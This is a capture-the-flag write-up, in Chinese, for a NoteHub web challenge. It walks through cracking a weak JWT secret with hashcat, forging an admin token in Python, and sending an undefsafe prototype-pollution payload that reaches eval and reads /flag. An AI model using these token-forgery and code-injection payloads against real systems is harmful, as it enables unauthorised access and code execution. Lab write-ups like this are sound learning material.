DesCTF-NoteHub

前言: 之前ns有出過污染鏈但是沒解出來 , 這次靠ai大人學習了一下污染鏈流程

NoteHub

分析一下source.js:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
const undefsafe = require('undefsafe');
const jwt = require("jsonwebtoken");
const secretKey = "???";

class Notes {
constructor() {
this.id = 0;
this.title = "Title";
this.author = "Author";
this.note = {};
}
addNote(id, author, content) {
this.note[(id).toString()] = {
"author": author,
"content": content
};
if (id) {
undefsafe(this.note, id + '.author', author);
let commands = {
"runner": "1+1",
};
for (let index in commands) {
eval(commands[index]);
}
}
}
showNote(id) {
// ...
}
showAll() {
// ...
}
}

secretKey = ???

screen-capture.png

一個sign in 介面 ,

screen-capture.png

登入頁送 POST /login 之後 ,後端會回一個token,它存進 cookie:

用hashcat:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
(base) ghsc@DESKTOP-JDO3EH1:~$ hashcat -m 16500 jwt.txt -a 3 ?a?a?a?a
hashcat (v7.0.0) starting

clGetPlatformIDs(): CL_PLATFORM_NOT_FOUND_KHR

nvmlDeviceGetFanSpeed(): Not Supported

CUDA API (CUDA 13.1)
====================
* Device #01: NVIDIA GeForce RTX 4060 Laptop GPU, 7096/8187 MB, 24MCU

Minimum password length supported by kernel: 0
Maximum password length supported by kernel: 256
Minimum salt length supported by kernel: 0
Maximum salt length supported by kernel: 256

Hashes: 1 digests; 1 unique digests, 1 unique salts
Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates

Optimizers applied:
* Zero-Byte
* Not-Iterated
* Single-Hash
* Single-Salt
* Brute-Force

Watchdog: Temperature abort trigger set to 90c

Host memory allocated for this attack: 2438 MB (13942 MB free)

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6Imd1ZXN0IiwiaWF0IjoxNzcyOTU5MTA0LCJleHAiOjE3NzI5NjI3MDR9.iciGMG9G4mwJ0dq3bWmBz5KD33dh9rD1Vr6tmfibWH8:aB3x

Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 16500 (JWT (JSON Web Token))
Hash.Target......: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZS...fibWH8
Time.Started.....: Sun Mar 8 16:39:36 2026 (0 secs)
Time.Estimated...: Sun Mar 8 16:39:36 2026 (0 secs)
Kernel.Feature...: Pure Kernel (password length 0-256 bytes)
Guess.Mask.......: ?a?a?a?a [4]
Guess.Queue......: 1/1 (100.00%)
Speed.#01........: 456.8 MH/s (5.58ms) @ Accel:10 Loops:64 Thr:256 Vec:1
Recovered........: 1/1 (100.00%) Digests (total), 1/1 (100.00%) Digests (new)
Progress.........: 27279360/81450625 (33.49%)
Rejected.........: 0/27279360 (0.00%)
Restore.Point....: 245760/857375 (28.66%)
Restore.Sub.#01..: Salt:0 Amplifier:0-64 Iteration:0-64
Candidate.Engine.: Device Generator
Candidates.#01...: s>KJ -> QZ.v
Hardware.Mon.#01.: Temp: 52c Util: 97% Core:2520MHz Mem:8000MHz Bus:8

Started: Sun Mar 8 16:39:28 2026
Stopped: Sun Mar 8 16:39:36 2026

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6Imd1ZXN0IiwiaWF0IjoxNzcyOTU5MTA0LCJleHAiOjE3NzI5NjI3MDR9.iciGMG9G4mwJ0dq3bWmBz5KD33dh9rD1Vr6tmfibWH8:aB3x

JWT secret = aB3x

偽造 admin token:

1
2
3
4
5
6
7
8
9
10
11
import jwt

payload = {
"username": "admin",
"iat": 1772959104,
"exp": 1772962704
}

token = jwt.encode(payload, "aB3x", algorithm="HS256")

print(token)
screen-capture.png

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiaWF0IjoxNzcyOTU5MTA0LCJleHAiOjE3NzI5NjI3MDR9.SfKP-OE-xzRVTXchnyLq-AWVKVY5no-7LM9pMRdFGAs

screen-capture.png screen-capture.png

進 /write 觸發 prototype pollution + eval(),讀出 /flag

screen-capture.png

後端對應到 source.js 的這段:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
addNote(id, author, content) {
this.note[(id).toString()] = {
"author": author,
"content": content
};
if (id) {
undefsafe(this.note, id + '.author', author);
let commands = {
"runner": "1+1",
};
for (let index in commands) {
eval(commands[index]);
}
}
}

undefsafe漏洞 : 可以向全局對象的原型中注入一个属性

利用 constructor.prototype 去污染原型

1
2
3
4
5
{
"id": "constructor.prototype",
"author": "this.note[\"F1\"]={author:require(\"f\"+\"s\")[\"readFile\"+\"Sync\"](\"/fl\"+\"ag\",\"utf8\"),content:\"ok\"}",
"content": "x"
}
screen-capture.png